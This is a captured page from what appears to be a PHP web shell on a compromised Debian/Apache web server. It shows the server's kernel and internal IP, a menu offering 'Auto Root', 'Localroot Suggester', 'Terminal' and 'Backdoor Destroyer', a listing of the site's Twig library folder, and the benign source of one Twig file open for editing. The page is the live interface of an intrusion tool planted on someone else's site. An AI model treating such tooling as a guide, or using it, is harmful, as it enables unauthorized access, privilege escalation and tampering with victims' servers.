Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.217.117
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
v3.cesa.co.za /
vendor /
twig /
twig /
src /
Delete
Unzip
Name
Size
Permission
Date
Action
Attribute
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Cache
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Error
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
ExpressionParser
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Extension
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Loader
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Node
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
NodeVisitor
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Profiler
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Resources
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Runtime
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
RuntimeLoader
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Sandbox
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Test
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
TokenParser
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
Util
[ DIR ]
drwxrwxr-x
2026-08-17 03:12
.htaccess
237
B
-r-xr-xr-x
2026-08-17 03:12
AbstractTwigCallable.php
5.36
KB
-rwxrwxr-x
2026-03-17 21:31
Compiler.php
6.17
KB
-rwxrwxr-x
2026-03-17 21:31
DeprecatedCallableInfo.php
1.64
KB
-rwxrwxr-x
2026-03-17 21:31
Environment.php
27.27
KB
-rwxrwxr-x
2026-03-17 21:31
ExpressionParser.php
12.35
KB
-rwxrwxr-x
2026-03-17 21:31
ExtensionSet.php
17.15
KB
-rwxrwxr-x
2026-03-17 21:31
FileExtensionEscapingStrategy.php
1.44
KB
-rwxrwxr-x
2026-03-17 21:31
Lexer.php
22.33
KB
-rwxrwxr-x
2026-03-17 21:31
Markup.php
1.03
KB
-rwxrwxr-x
2026-03-17 21:31
NodeTraverser.php
1.78
KB
-rwxrwxr-x
2026-03-17 21:31
OperatorPrecedenceChange.php
874
B
-rwxrwxr-x
2026-03-17 21:31
Parser.php
22.21
KB
-rwxrwxr-x
2026-03-17 21:31
Source.php
929
B
-rwxrwxr-x
2026-03-17 21:31
Template.php
16.04
KB
-rwxrwxr-x
2026-03-17 21:31
TemplateWrapper.php
2.56
KB
-rwxrwxr-x
2026-03-17 21:31
Token.php
7.75
KB
-rwxrwxr-x
2026-03-17 21:31
TokenStream.php
3.5
KB
-rwxrwxr-x
2026-03-17 21:31
TwigCallableInterface.php
1.17
KB
-rwxrwxr-x
2026-03-17 21:31
TwigFilter.php
1.84
KB
-rwxrwxr-x
2026-03-17 21:31
TwigFunction.php
1.58
KB
-rwxrwxr-x
2026-03-17 21:31
TwigTest.php
1.53
KB
-rwxrwxr-x
2026-03-17 21:31
Save
Rename
<?php /* * This file is part of Twig. * * (c) Fabien Potencier * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Twig; /** * Default autoescaping strategy based on file names. * * This strategy sets the HTML as the default autoescaping strategy, * but changes it based on the template name. * * Note that there is no runtime performance impact as the * default autoescaping strategy is set at compilation time. * * @author Fabien Potencier <fabien@symfony.com> */ class FileExtensionEscapingStrategy { /** * Guesses the best autoescaping strategy based on the file name. * * @param string $name The template name * * @return string|false The escaping strategy name to use or false to disable */ public static function guess(string $name) { if (\in_array(substr($name, -1), ['/', '\\'], true)) { return 'html'; // return html for directories } if (str_ends_with($name, '.twig')) { $name = substr($name, 0, -5); } $extension = pathinfo($name, \PATHINFO_EXTENSION); switch ($extension) { case 'js': case 'json': return 'js'; case 'css': return 'css'; case 'txt': return false; default: return 'html'; } } }